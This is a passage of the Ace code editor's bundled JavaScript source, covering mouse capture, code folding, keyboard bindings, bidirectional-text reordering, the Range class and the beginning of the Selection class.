this.setState = function(state) {
this.state = state;
};
this.captureMouse = function(ev, mouseMoveHandler) {
this.x = ev.x;
this.y = ev.y;
this.isMousePressed = true;
var renderer = this.editor.renderer;
if (renderer.$keepTextAreaAtCursor)
renderer.$keepTextAreaAtCursor = null;
var self = this;
var onMouseMove = function(e) {
if (!e) return;
if (useragent.isWebKit && !e.which && self.releaseMouse)
return self.releaseMouse();
self.x = e.clientX;
self.y = e.clientY;
mouseMoveHandler && mouseMoveHandler(e);
self.mouseEvent = new MouseEvent(e, self.editor);
self.$mouseMoved = true;
};
var onCaptureEnd = function(e) {
clearInterval(timerId);
onCaptureInterval();
self[self.state + "End"] && self[self.state + "End"](e);
self.state = "";
if (renderer.$keepTextAreaAtCursor == null) {
renderer.$keepTextAreaAtCursor = true;
renderer.$moveTextAreaToCursor();
}
self.isMousePressed = false;
self.$onCaptureMouseMove = self.releaseMouse = null;
e && self.onMouseEvent("mouseup", e);
};
var onCaptureInterval = function() {
self[self.state] && self[self.state]();
self.$mouseMoved = false;
};
if (useragent.isOldIE && ev.domEvent.type == "dblclick") {
return setTimeout(function() {onCaptureEnd(ev);});
}
self.$onCaptureMouseMove = onMouseMove;
self.releaseMouse = event.capture(this.editor.container, onMouseMove, onCaptureEnd);
var timerId = setInterval(onCaptureInterval, 20);
};
this.releaseMouse = null;
this.cancelContextMenu = function() {
var stop = function(e) {
if (e && e.domEvent && e.domEvent.type != "contextmenu")
return;
this.editor.off("nativecontextmenu", stop);
if (e && e.domEvent)
event.stopEvent(e.domEvent);
}.bind(this);
setTimeout(stop, 10);
this.editor.on("nativecontextmenu", stop);
};
}).call(MouseHandler.prototype);
config.defineOptions(MouseHandler.prototype, "mouseHandler", {
scrollSpeed: {initialValue: 2},
dragDelay: {initialValue: (useragent.isMac ? 150 : 0)},
dragEnabled: {initialValue: true},
focusTimout: {initialValue: 0},
tooltipFollowsMouse: {initialValue: true}
});
exports.MouseHandler = MouseHandler;
});
ace.define("ace/mouse/fold_handler",["require","exports","module"], function(require, exports, module) {
"use strict";
function FoldHandler(editor) {
editor.on("click", function(e) {
var position = e.getDocumentPosition();
var session = editor.session;
var fold = session.getFoldAt(position.row, position.column, 1);
if (fold) {
if (e.getAccelKey())
session.removeFold(fold);
else
session.expandFold(fold);
e.stop();
}
});
editor.on("gutterclick", function(e) {
var gutterRegion = editor.renderer.$gutterLayer.getRegion(e);
if (gutterRegion == "foldWidgets") {
var row = e.getDocumentPosition().row;
var session = editor.session;
if (session.foldWidgets && session.foldWidgets[row])
editor.session.onFoldWidgetClick(row, e);
if (!editor.isFocused())
editor.focus();
e.stop();
}
});
editor.on("gutterdblclick", function(e) {
var gutterRegion = editor.renderer.$gutterLayer.getRegion(e);
if (gutterRegion == "foldWidgets") {
var row = e.getDocumentPosition().row;
var session = editor.session;
var data = session.getParentFoldRangeData(row, true);
var range = data.range || data.firstRange;
if (range) {
row = range.start.row;
var fold = session.getFoldAt(row, session.getLine(row).length, 1);
if (fold) {
session.removeFold(fold);
} else {
session.addFold("...", range);
editor.renderer.scrollCursorIntoView({row: range.start.row, column: 0});
}
}
e.stop();
}
});
}
exports.FoldHandler = FoldHandler;
});
ace.define("ace/keyboard/keybinding",["require","exports","module","ace/lib/keys","ace/lib/event"], function(require, exports, module) {
"use strict";
var keyUtil = require("../lib/keys");
var event = require("../lib/event");
var KeyBinding = function(editor) {
this.$editor = editor;
this.$data = {editor: editor};
this.$handlers = [];
this.setDefaultHandler(editor.commands);
};
(function() {
this.setDefaultHandler = function(kb) {
this.removeKeyboardHandler(this.$defaultHandler);
this.$defaultHandler = kb;
this.addKeyboardHandler(kb, 0);
};
this.setKeyboardHandler = function(kb) {
var h = this.$handlers;
if (h[h.length - 1] == kb)
return;
while (h[h.length - 1] && h[h.length - 1] != this.$defaultHandler)
this.removeKeyboardHandler(h[h.length - 1]);
this.addKeyboardHandler(kb, 1);
};
this.addKeyboardHandler = function(kb, pos) {
if (!kb)
return;
if (typeof kb == "function" && !kb.handleKeyboard)
kb.handleKeyboard = kb;
var i = this.$handlers.indexOf(kb);
if (i != -1)
this.$handlers.splice(i, 1);
if (pos == undefined)
this.$handlers.push(kb);
else
this.$handlers.splice(pos, 0, kb);
if (i == -1 && kb.attach)
kb.attach(this.$editor);
};
this.removeKeyboardHandler = function(kb) {
var i = this.$handlers.indexOf(kb);
if (i == -1)
return false;
this.$handlers.splice(i, 1);
kb.detach && kb.detach(this.$editor);
return true;
};
this.getKeyboardHandler = function() {
return this.$handlers[this.$handlers.length - 1];
};
this.getStatusText = function() {
var data = this.$data;
var editor = data.editor;
return this.$handlers.map(function(h) {
return h.getStatusText && h.getStatusText(editor, data) || "";
}).filter(Boolean).join(" ");
};
this.$callKeyboardHandlers = function(hashId, keyString, keyCode, e) {
var toExecute;
var success = false;
var commands = this.$editor.commands;
for (var i = this.$handlers.length; i--;) {
toExecute = this.$handlers[i].handleKeyboard(
this.$data, hashId, keyString, keyCode, e
);
if (!toExecute || !toExecute.command)
continue;
if (toExecute.command == "null") {
success = true;
} else {
success = commands.exec(toExecute.command, this.$editor, toExecute.args, e);
}
if (success && e && hashId != -1 &&
toExecute.passEvent != true && toExecute.command.passEvent != true
) {
event.stopEvent(e);
}
if (success)
break;
}
if (!success && hashId == -1) {
toExecute = {command: "insertstring"};
success = commands.exec("insertstring", this.$editor, keyString);
}
if (success && this.$editor._signal)
this.$editor._signal("keyboardActivity", toExecute);
return success;
};
this.onCommandKey = function(e, hashId, keyCode) {
var keyString = keyUtil.keyCodeToString(keyCode);
this.$callKeyboardHandlers(hashId, keyString, keyCode, e);
};
this.onTextInput = function(text) {
this.$callKeyboardHandlers(-1, text);
};
}).call(KeyBinding.prototype);
exports.KeyBinding = KeyBinding;
});
ace.define("ace/lib/bidiutil",["require","exports","module"], function(require, exports, module) {
"use strict";
var ArabicAlefBetIntervalsBegine = ['\u0621', '\u0641'];
var ArabicAlefBetIntervalsEnd = ['\u063A', '\u064a'];
var dir = 0, hiLevel = 0;
var lastArabic = false, hasUBAT_AL = false, hasUBAT_B = false, hasUBAT_S = false, hasBlockSep = false, hasSegSep = false;
var impTab_LTR = [ [ 0, 3, 0, 1, 0, 0, 0 ], [ 0, 3, 0, 1, 2, 2, 0 ], [ 0, 3, 0, 0x11, 2, 0, 1 ], [ 0, 3, 5, 5, 4, 1, 0 ], [ 0, 3, 0x15, 0x15, 4, 0, 1 ], [ 0, 3, 5, 5, 4, 2, 0 ]
];
var impTab_RTL = [ [ 2, 0, 1, 1, 0, 1, 0 ], [ 2, 0, 1, 1, 0, 2, 0 ], [ 2, 0, 2, 1, 3, 2, 0 ], [ 2, 0, 2, 0x21, 3, 1, 1 ]
];
var LTR = 0, RTL = 1;
var L = 0;
var R = 1;
var EN = 2;
var AN = 3;
var ON = 4;
var B = 5;
var S = 6;
var AL = 7;
var WS = 8;
var CS = 9;
var ES = 10;
var ET = 11;
var NSM = 12;
var LRE = 13;
var RLE = 14;
var PDF = 15;
var LRO = 16;
var RLO = 17;
var BN = 18;
var UnicodeTBL00 = [
BN,BN,BN,BN,BN,BN,BN,BN,BN,S,B,S,WS,B,BN,BN,
BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,B,B,B,S,
WS,ON,ON,ET,ET,ET,ON,ON,ON,ON,ON,ES,CS,ES,CS,CS,
EN,EN,EN,EN,EN,EN,EN,EN,EN,EN,CS,ON,ON,ON,ON,ON,
ON,L,L,L,L,L,L,L,L,L,L,L,L,L,L,L,
L,L,L,L,L,L,L,L,L,L,L,ON,ON,ON,ON,ON,
ON,L,L,L,L,L,L,L,L,L,L,L,L,L,L,L,
L,L,L,L,L,L,L,L,L,L,L,ON,ON,ON,ON,BN,
BN,BN,BN,BN,BN,B,BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,
BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,BN,
CS,ON,ET,ET,ET,ET,ON,ON,ON,ON,L,ON,ON,BN,ON,ON,
ET,ET,EN,EN,ON,L,ON,ON,ON,EN,L,ON,ON,ON,ON,ON
];
var UnicodeTBL20 = [
WS,WS,WS,WS,WS,WS,WS,WS,WS,WS,WS,BN,BN,BN,L,R ,
ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,
ON,ON,ON,ON,ON,ON,ON,ON,WS,B,LRE,RLE,PDF,LRO,RLO,CS,
ET,ET,ET,ET,ET,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,
ON,ON,ON,ON,CS,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,
ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,ON,WS
];
function _computeLevels(chars, levels, len, charTypes) {
var impTab = dir ? impTab_RTL : impTab_LTR
, prevState = null, newClass = null, newLevel = null, newState = 0
, action = null, cond = null, condPos = -1, i = null, ix = null, classes = [];
if (!charTypes) {
for (i = 0, charTypes = []; i < len; i++) {
charTypes[i] = _getCharacterType(chars[i]);
}
}
hiLevel = dir;
lastArabic = false;
hasUBAT_AL = false;
hasUBAT_B = false;
hasUBAT_S = false;
for (ix = 0; ix < len; ix++){
prevState = newState;
classes[ix] = newClass = _getCharClass(chars, charTypes, classes, ix);
newState = impTab[prevState][newClass];
action = newState & 0xF0;
newState &= 0x0F;
levels[ix] = newLevel = impTab[newState][5];
if (action > 0){
if (action == 0x10){
for(i = condPos; i < ix; i++){
levels[i] = 1;
}
condPos = -1;
} else {
condPos = -1;
}
}
cond = impTab[newState][6];
if (cond){
if(condPos == -1){
condPos = ix;
}
}else{
if (condPos > -1){
for(i = condPos; i < ix; i++){
levels[i] = newLevel;
}
condPos = -1;
}
}
if (charTypes[ix] == B){
levels[ix] = 0;
}
hiLevel |= newLevel;
}
if (hasUBAT_S){
for(i = 0; i < len; i++){
if(charTypes[i] == S){
levels[i] = dir;
for(var j = i - 1; j >= 0; j--){
if(charTypes[j] == WS){
levels[j] = dir;
}else{
break;
}
}
}
}
}
}
function _invertLevel(lev, levels, _array) {
if (hiLevel < lev){
return;
}
if (lev == 1 && dir == RTL && !hasUBAT_B){
_array.reverse();
return;
}
var len = _array.length, start = 0, end, lo, hi, tmp;
while(start < len){
if (levels[start] >= lev){
end = start + 1;
while(end < len && levels[end] >= lev){
end++;
}
for(lo = start, hi = end - 1 ; lo < hi; lo++, hi--){
tmp = _array[lo];
_array[lo] = _array[hi];
_array[hi] = tmp;
}
start = end;
}
start++;
}
}
function _getCharClass(chars, types, classes, ix) {
var cType = types[ix], wType, nType, len, i;
switch(cType){
case L:
case R:
lastArabic = false;
case ON:
case AN:
return cType;
case EN:
return lastArabic ? AN : EN;
case AL:
lastArabic = true;
hasUBAT_AL = true;
return R;
case WS:
return ON;
case CS:
if (ix < 1 || (ix + 1) >= types.length ||
((wType = classes[ix - 1]) != EN && wType != AN) ||
((nType = types[ix + 1]) != EN && nType != AN)){
return ON;
}
if (lastArabic){nType = AN;}
return nType == wType ? nType : ON;
case ES:
wType = ix > 0 ? classes[ix - 1] : B;
if (wType == EN && (ix + 1) < types.length && types[ix + 1] == EN){
return EN;
}
return ON;
case ET:
if (ix > 0 && classes[ix - 1] == EN){
return EN;
}
if (lastArabic){
return ON;
}
i = ix + 1;
len = types.length;
while (i < len && types[i] == ET){
i++;
}
if (i < len && types[i] == EN){
return EN;
}
return ON;
case NSM:
len = types.length;
i = ix + 1;
while (i < len && types[i] == NSM){
i++;
}
if (i < len){
var c = chars[ix], rtlCandidate = (c >= 0x0591 && c <= 0x08FF) || c == 0xFB1E;
wType = types[i];
if (rtlCandidate && (wType == R || wType == AL)){
return R;
}
}
if (ix < 1 || (wType = types[ix - 1]) == B){
return ON;
}
return classes[ix - 1];
case B:
lastArabic = false;
hasUBAT_B = true;
return dir;
case S:
hasUBAT_S = true;
return ON;
case LRE:
case RLE:
case LRO:
case RLO:
case PDF:
lastArabic = false;
case BN:
return ON;
}
}
function _getCharacterType( ch ) {
var uc = ch.charCodeAt(0), hi = uc >> 8;
if (hi == 0) {
return ((uc > 0x00BF) ? L : UnicodeTBL00[uc]);
} else if (hi == 5) {
return (/[\u0591-\u05f4]/.test(ch) ? R : L);
} else if (hi == 6) {
if (/[\u0610-\u061a\u064b-\u065f\u06d6-\u06e4\u06e7-\u06ed]/.test(ch))
return NSM;
else if (/[\u0660-\u0669\u066b-\u066c]/.test(ch))
return AN;
else if (uc == 0x066A)
return ET;
else if (/[\u06f0-\u06f9]/.test(ch))
return EN;
else
return AL;
} else if (hi == 0x20 && uc <= 0x205F) {
return UnicodeTBL20[uc & 0xFF];
} else if (hi == 0xFE) {
return (uc >= 0xFE70 ? AL : ON);
}
return ON;
}
function _isArabicDiacritics( ch ) {
return (ch >= '\u064b' && ch <= '\u0655');
}
exports.L = L;
exports.R = R;
exports.EN = EN;
exports.ON_R = 3;
exports.AN = 4;
exports.R_H = 5;
exports.B = 6;
exports.DOT = "\xB7";
exports.doBidiReorder = function(text, textCharTypes, isRtl) {
if (text.length < 2)
return {};
var chars = text.split(""), logicalFromVisual = new Array(chars.length),
bidiLevels = new Array(chars.length), levels = [];
dir = isRtl ? RTL : LTR;
_computeLevels(chars, levels, chars.length, textCharTypes);
for (var i = 0; i < logicalFromVisual.length; logicalFromVisual[i] = i, i++);
_invertLevel(2, levels, logicalFromVisual);
_invertLevel(1, levels, logicalFromVisual);
for (var i = 0; i < logicalFromVisual.length - 1; i++) { //fix levels to reflect character width
if (textCharTypes[i] === AN) {
levels[i] = exports.AN;
} else if (levels[i] === R && ((textCharTypes[i] > AL && textCharTypes[i] < LRE)
|| textCharTypes[i] === ON || textCharTypes[i] === BN)) {
levels[i] = exports.ON_R;
} else if ((i > 0 && chars[i - 1] === '\u0644') && /\u0622|\u0623|\u0625|\u0627/.test(chars[i])) {
levels[i - 1] = levels[i] = exports.R_H;
i++;
}
}
if (chars[chars.length - 1] === exports.DOT)
levels[chars.length - 1] = exports.B;
for (var i = 0; i < logicalFromVisual.length; i++) {
bidiLevels[i] = levels[logicalFromVisual[i]];
}
return {'logicalFromVisual': logicalFromVisual, 'bidiLevels': bidiLevels};
};
exports.hasBidiCharacters = function(text, textCharTypes){
var ret = false;
for (var i = 0; i < text.length; i++){
textCharTypes[i] = _getCharacterType(text.charAt(i));
if (!ret && (textCharTypes[i] == R || textCharTypes[i] == AL))
ret = true;
}
return ret;
};
exports.getVisualFromLogicalIdx = function(logIdx, rowMap) {
for (var i = 0; i < rowMap.logicalFromVisual.length; i++) {
if (rowMap.logicalFromVisual[i] == logIdx)
return i;
}
return 0;
};
});
ace.define("ace/bidihandler",["require","exports","module","ace/lib/bidiutil","ace/lib/lang","ace/lib/useragent"], function(require, exports, module) {
"use strict";
var bidiUtil = require("./lib/bidiutil");
var lang = require("./lib/lang");
var useragent = require("./lib/useragent");
var bidiRE = /[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;
var BidiHandler = function(session) {
this.session = session;
this.bidiMap = {};
this.currentRow = null;
this.bidiUtil = bidiUtil;
this.charWidths = [];
this.EOL = "\xAC";
this.showInvisibles = true;
this.isRtlDir = false;
this.line = "";
this.wrapIndent = 0;
this.isLastRow = false;
this.EOF = "\xB6";
this.seenBidi = false;
};
(function() {
this.isBidiRow = function(screenRow, docRow, splitIndex) {
if (!this.seenBidi)
return false;
if (screenRow !== this.currentRow) {
this.currentRow = screenRow;
this.updateRowLine(docRow, splitIndex);
this.updateBidiMap();
}
return this.bidiMap.bidiLevels;
};
this.onChange = function(delta) {
if (!this.seenBidi) {
if (delta.action == "insert" && bidiRE.test(delta.lines.join("\n"))) {
this.seenBidi = true;
this.currentRow = null;
}
}
else {
this.currentRow = null;
}
};
this.getDocumentRow = function() {
var docRow = 0;
var rowCache = this.session.$screenRowCache;
if (rowCache.length) {
var index = this.session.$getRowCacheIndex(rowCache, this.currentRow);
if (index >= 0)
docRow = this.session.$docRowCache[index];
}
return docRow;
};
this.getSplitIndex = function() {
var splitIndex = 0;
var rowCache = this.session.$screenRowCache;
if (rowCache.length) {
var currentIndex, prevIndex = this.session.$getRowCacheIndex(rowCache, this.currentRow);
while (this.currentRow - splitIndex > 0) {
currentIndex = this.session.$getRowCacheIndex(rowCache, this.currentRow - splitIndex - 1);
if (currentIndex !== prevIndex)
break;
prevIndex = currentIndex;
splitIndex++;
}
}
return splitIndex;
};
this.updateRowLine = function(docRow, splitIndex) {
if (docRow === undefined)
docRow = this.getDocumentRow();
this.wrapIndent = 0;
this.isLastRow = (docRow === this.session.getLength() - 1);
this.line = this.session.getLine(docRow);
if (this.session.$useWrapMode) {
var splits = this.session.$wrapData[docRow];
if (splits) {
if (splitIndex === undefined)
splitIndex = this.getSplitIndex();
if(splitIndex > 0 && splits.length) {
this.wrapIndent = splits.indent;
this.line = (splitIndex < splits.length) ?
this.line.substring(splits[splitIndex - 1], splits[splits.length - 1]) :
this.line.substring(splits[splits.length - 1]);
} else {
this.line = this.line.substring(0, splits[splitIndex]);
}
}
}
var session = this.session, shift = 0, size;
this.line = this.line.replace(/\t|[\u1100-\u2029, \u202F-\uFFE6]/g, function(ch, i){
if (ch === '\t' || session.isFullWidth(ch.charCodeAt(0))) {
size = (ch === '\t') ? session.getScreenTabSize(i + shift) : 2;
shift += size - 1;
return lang.stringRepeat(bidiUtil.DOT, size);
}
return ch;
});
};
this.updateBidiMap = function() {
var textCharTypes = [], endOfLine = this.isLastRow ? this.EOF : this.EOL;
var line = this.line + (this.showInvisibles ? endOfLine : bidiUtil.DOT);
if (bidiUtil.hasBidiCharacters(line, textCharTypes)) {
this.bidiMap = bidiUtil.doBidiReorder(line, textCharTypes, this.isRtlDir);
} else {
this.bidiMap = {};
}
};
this.markAsDirty = function() {
this.currentRow = null;
};
this.updateCharacterWidths = function(fontMetrics) {
if (!this.seenBidi)
return;
if (this.characterWidth === fontMetrics.$characterSize.width)
return;
var characterWidth = this.characterWidth = fontMetrics.$characterSize.width;
var bidiCharWidth = fontMetrics.$measureCharWidth("\u05d4");
this.charWidths[bidiUtil.L] = this.charWidths[bidiUtil.EN] = this.charWidths[bidiUtil.ON_R] = characterWidth;
this.charWidths[bidiUtil.R] = this.charWidths[bidiUtil.AN] = bidiCharWidth;
this.charWidths[bidiUtil.R_H] = useragent.isChrome ? bidiCharWidth : bidiCharWidth * 0.45;
this.charWidths[bidiUtil.B] = 0;
this.currentRow = null;
};
this.getShowInvisibles = function() {
return this.showInvisibles;
};
this.setShowInvisibles = function(showInvisibles) {
this.showInvisibles = showInvisibles;
this.currentRow = null;
};
this.setEolChar = function(eolChar) {
this.EOL = eolChar;
};
this.setTextDir = function(isRtlDir) {
this.isRtlDir = isRtlDir;
};
this.getPosLeft = function(col) {
col -= this.wrapIndent;
var visualIdx = bidiUtil.getVisualFromLogicalIdx(col > 0 ? col - 1 : 0, this.bidiMap),
levels = this.bidiMap.bidiLevels, left = 0;
if (col === 0 && levels[visualIdx] % 2 !== 0)
visualIdx++;
for (var i = 0; i < visualIdx; i++) {
left += this.charWidths[levels[i]];
}
if (col !== 0 && levels[visualIdx] % 2 === 0)
left += this.charWidths[levels[visualIdx]];
if (this.wrapIndent)
left += this.wrapIndent * this.charWidths[bidiUtil.L];
return left;
};
this.getSelections = function(startCol, endCol) {
var map = this.bidiMap, levels = map.bidiLevels, level, offset = this.wrapIndent * this.charWidths[bidiUtil.L], selections = [],
selColMin = Math.min(startCol, endCol) - this.wrapIndent, selColMax = Math.max(startCol, endCol) - this.wrapIndent,
isSelected = false, isSelectedPrev = false, selectionStart = 0;
for (var logIdx, visIdx = 0; visIdx < levels.length; visIdx++) {
logIdx = map.logicalFromVisual[visIdx];
level = levels[visIdx];
isSelected = (logIdx >= selColMin) && (logIdx < selColMax);
if (isSelected && !isSelectedPrev) {
selectionStart = offset;
} else if (!isSelected && isSelectedPrev) {
selections.push({left: selectionStart, width: offset - selectionStart});
}
offset += this.charWidths[level];
isSelectedPrev = isSelected;
}
if (isSelected && (visIdx === levels.length)) {
selections.push({left: selectionStart, width: offset - selectionStart});
}
return selections;
};
this.offsetToCol = function(posX) {
var logicalIdx = 0, posX = Math.max(posX, 0),
offset = 0, visualIdx = 0, levels = this.bidiMap.bidiLevels,
charWidth = this.charWidths[levels[visualIdx]];
if (this.wrapIndent) {
posX -= this.wrapIndent * this.charWidths[bidiUtil.L];
}
while(posX > offset + charWidth/2) {
offset += charWidth;
if(visualIdx === levels.length - 1) {
charWidth = 0;
break;
}
charWidth = this.charWidths[levels[++visualIdx]];
}
if (visualIdx > 0 && (levels[visualIdx - 1] % 2 !== 0) && (levels[visualIdx] % 2 === 0)){
if(posX < offset)
visualIdx--;
logicalIdx = this.bidiMap.logicalFromVisual[visualIdx];
} else if (visualIdx > 0 && (levels[visualIdx - 1] % 2 === 0) && (levels[visualIdx] % 2 !== 0)){
logicalIdx = 1 + ((posX > offset) ? this.bidiMap.logicalFromVisual[visualIdx]
: this.bidiMap.logicalFromVisual[visualIdx - 1]);
} else if ((this.isRtlDir && visualIdx === levels.length - 1 && charWidth === 0 && (levels[visualIdx - 1] % 2 === 0))
|| (!this.isRtlDir && visualIdx === 0 && (levels[visualIdx] % 2 !== 0))){
logicalIdx = 1 + this.bidiMap.logicalFromVisual[visualIdx];
} else {
if (visualIdx > 0 && (levels[visualIdx - 1] % 2 !== 0) && charWidth !== 0)
visualIdx--;
logicalIdx = this.bidiMap.logicalFromVisual[visualIdx];
}
return (logicalIdx + this.wrapIndent);
};
}).call(BidiHandler.prototype);
exports.BidiHandler = BidiHandler;
});
ace.define("ace/range",["require","exports","module"], function(require, exports, module) {
"use strict";
var comparePoints = function(p1, p2) {
return p1.row - p2.row || p1.column - p2.column;
};
var Range = function(startRow, startColumn, endRow, endColumn) {
this.start = {
row: startRow,
column: startColumn
};
this.end = {
row: endRow,
column: endColumn
};
};
(function() {
this.isEqual = function(range) {
return this.start.row === range.start.row &&
this.end.row === range.end.row &&
this.start.column === range.start.column &&
this.end.column === range.end.column;
};
this.toString = function() {
return ("Range: [" + this.start.row + "/" + this.start.column +
"] -> [" + this.end.row + "/" + this.end.column + "]");
};
this.contains = function(row, column) {
return this.compare(row, column) == 0;
};
this.compareRange = function(range) {
var cmp,
end = range.end,
start = range.start;
cmp = this.compare(end.row, end.column);
if (cmp == 1) {
cmp = this.compare(start.row, start.column);
if (cmp == 1) {
return 2;
} else if (cmp == 0) {
return 1;
} else {
return 0;
}
} else if (cmp == -1) {
return -2;
} else {
cmp = this.compare(start.row, start.column);
if (cmp == -1) {
return -1;
} else if (cmp == 1) {
return 42;
} else {
return 0;
}
}
};
this.comparePoint = function(p) {
return this.compare(p.row, p.column);
};
this.containsRange = function(range) {
return this.comparePoint(range.start) == 0 && this.comparePoint(range.end) == 0;
};
this.intersects = function(range) {
var cmp = this.compareRange(range);
return (cmp == -1 || cmp == 0 || cmp == 1);
};
this.isEnd = function(row, column) {
return this.end.row == row && this.end.column == column;
};
this.isStart = function(row, column) {
return this.start.row == row && this.start.column == column;
};
this.setStart = function(row, column) {
if (typeof row == "object") {
this.start.column = row.column;
this.start.row = row.row;
} else {
this.start.row = row;
this.start.column = column;
}
};
this.setEnd = function(row, column) {
if (typeof row == "object") {
this.end.column = row.column;
this.end.row = row.row;
} else {
this.end.row = row;
this.end.column = column;
}
};
this.inside = function(row, column) {
if (this.compare(row, column) == 0) {
if (this.isEnd(row, column) || this.isStart(row, column)) {
return false;
} else {
return true;
}
}
return false;
};
this.insideStart = function(row, column) {
if (this.compare(row, column) == 0) {
if (this.isEnd(row, column)) {
return false;
} else {
return true;
}
}
return false;
};
this.insideEnd = function(row, column) {
if (this.compare(row, column) == 0) {
if (this.isStart(row, column)) {
return false;
} else {
return true;
}
}
return false;
};
this.compare = function(row, column) {
if (!this.isMultiLine()) {
if (row === this.start.row) {
return column < this.start.column ? -1 : (column > this.end.column ? 1 : 0);
}
}
if (row < this.start.row)
return -1;
if (row > this.end.row)
return 1;
if (this.start.row === row)
return column >= this.start.column ? 0 : -1;
if (this.end.row === row)
return column <= this.end.column ? 0 : 1;
return 0;
};
this.compareStart = function(row, column) {
if (this.start.row == row && this.start.column == column) {
return -1;
} else {
return this.compare(row, column);
}
};
this.compareEnd = function(row, column) {
if (this.end.row == row && this.end.column == column) {
return 1;
} else {
return this.compare(row, column);
}
};
this.compareInside = function(row, column) {
if (this.end.row == row && this.end.column == column) {
return 1;
} else if (this.start.row == row && this.start.column == column) {
return -1;
} else {
return this.compare(row, column);
}
};
this.clipRows = function(firstRow, lastRow) {
if (this.end.row > lastRow)
var end = {row: lastRow + 1, column: 0};
else if (this.end.row < firstRow)
var end = {row: firstRow, column: 0};
if (this.start.row > lastRow)
var start = {row: lastRow + 1, column: 0};
else if (this.start.row < firstRow)
var start = {row: firstRow, column: 0};
return Range.fromPoints(start || this.start, end || this.end);
};
this.extend = function(row, column) {
var cmp = this.compare(row, column);
if (cmp == 0)
return this;
else if (cmp == -1)
var start = {row: row, column: column};
else
var end = {row: row, column: column};
return Range.fromPoints(start || this.start, end || this.end);
};
this.isEmpty = function() {
return (this.start.row === this.end.row && this.start.column === this.end.column);
};
this.isMultiLine = function() {
return (this.start.row !== this.end.row);
};
this.clone = function() {
return Range.fromPoints(this.start, this.end);
};
this.collapseRows = function() {
if (this.end.column == 0)
return new Range(this.start.row, 0, Math.max(this.start.row, this.end.row-1), 0);
else
return new Range(this.start.row, 0, this.end.row, 0);
};
this.toScreenRange = function(session) {
var screenPosStart = session.documentToScreenPosition(this.start);
var screenPosEnd = session.documentToScreenPosition(this.end);
return new Range(
screenPosStart.row, screenPosStart.column,
screenPosEnd.row, screenPosEnd.column
);
};
this.moveBy = function(row, column) {
this.start.row += row;
this.start.column += column;
this.end.row += row;
this.end.column += column;
};
}).call(Range.prototype);
Range.fromPoints = function(start, end) {
return new Range(start.row, start.column, end.row, end.column);
};
Range.comparePoints = comparePoints;
Range.comparePoints = function(p1, p2) {
return p1.row - p2.row || p1.column - p2.column;
};
exports.Range = Range;
});
ace.define("ace/selection",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/lib/event_emitter","ace/range"], function(require, exports, module) {
"use strict";
var oop = require("./lib/oop");
var lang = require("./lib/lang");
var EventEmitter = require("./lib/event_emitter").EventEmitter;
var Range = require("./range").Range;
var Selection = function(session) {
this.session = session;
this.doc = session.getDocument();
this.clearSelection();
this.lead = this.selectionLead = this.doc.createAnchor(0, 0);
this.anchor = this.selectionAnchor = this.doc.createAnchor(0, 0);
var self = this;
this.lead.on("change", function(e) {
self._emit("changeCursor");
if (!self.$isEmpty)
self._emit("changeSelection");
if (!self.$keepDesiredColumnOnChange && e.old.column != e.value.column)
self.$desiredColumn = null;
});
this.selectionAnchor.on("change", function() {
if (!self.$isEmpty)
self._emit("changeSelection");
});
};
(function() {
oop.implement(this, EventEmitter);
this.isEmpty = function() {
return (this.$isEmpty || (
this.anchor.row == this.lead.row &&
this.anchor.column == this.lead.column
));
};
this.isMultiLine = function() {
if (this.isEmpty()) {
return false;
}
return this.getRange().isMultiLine();
};
this.getCursor = function() {
return this.lead.getPosition();
};
this.setSelectionAnchor = function(row, column) {
this.anchor.setPosition(row, column);
if (this.$isEmpty) {
this.$isEmpty = false;
this._emit("changeSelection");
}
};
this.getSelectionAnchor = function() {
if (this.$isEmpty)
return this.getSelectionLead();
else
return this.anchor.getPosition();
};
this.getSelectionLead = function() {
return this.lead.getPosition();
};
this.shiftSelection = function(columns) {
if (this.$isEmpty) {
this.moveCursorTo(this.lead.row, this.lead.column + columns);
return;
}
var anchor = this.getSelectionAnchor();
var lead = this.getSelectionLead();
var isBackwards = this.isBackwards();
if (!isBackwards || anchor.column !== 0)
this.setSelectionAnchor(anchor.row, anchor.column + columns);
if (isBackwards || lead.column !== 0) {
this.$moveSelection(function() {
this.moveCursorTo(lead.row, lead.column + columns);
});
}
};
this.isBackwards = function() {
var anchor = this.anchor;
var lead = this.lead;
return (anchor.row > lead.row || (anchor.row == lead.row && anchor.column > lead.column));
};
this.getRange = function() {
var anchor = this.anchor;
var lead = this.lead;
if (this.isEmpty())
return Range.fromPoints(lead, lead);
if (this.isBackwards()) {
return Range.fromPoints(lead, anchor);
}
else {
return Range.fromPoints(anchor, lead);
}
};
this.clearSelection = function() {
if (!this.$isEmpty) {
this.$isEmpty = true;
this._emit("changeSelection");
}
};
this.selectAll = function() {
var lastRow = this.doc.getLength() - 1;
this.setSelectionAnchor(0, 0);
this.moveCursorTo(lastRow, this.doc.getLine(lastRow).length);
};
this.setRange =
this.setSelectionRange = function(range, reverse) {
if (reverse) {
this.setSelectionAnchor(range.end.row, range.end.column);
this.selectTo(range.start.row, range.start.column);
} else {
this.setSelectionAnchor(range.start.row, range.start.column);
this.selectTo(range.end.row, range.end.column);
}
if (this.getRange().isEmpty())
this.$isEmpty = true;
this.$desiredColumn = null;
};
this.$moveSelection = function(mover) {
var lead = this.lead;
if (this.$isEmpty)
this.setSelectionAnchor(lead.row, lead.column);
mover.call(this);
};
this.selectTo = function(row, column) {
this.$moveSelection(function() {
this.moveCursorTo(row, column);
});
};
this.selectToPosition = function(pos) {
this.$moveSelection(function() {
this.moveCursorToPosition(pos);
});
};
this.moveTo = function(row, column) {
this.clearSelection();
this.moveCursorTo(row, column);
};
this.moveToPosition = function(pos) {
this.clearSelection();
this.moveCursorToPosition(pos);
};
this.selectUp = function() {
this.$moveSelection(this.moveCursorUp);
};
this.selectDown = function() {
this.$moveSelection(this.moveCursorDown);
};
this.selectRight = function() {
this.$moveSelection(this.moveCursorRight);
};
this.selectLeft = function() {
this.$moveSelection(this.moveCursorLeft);
};
this.selectLineStart = function() {
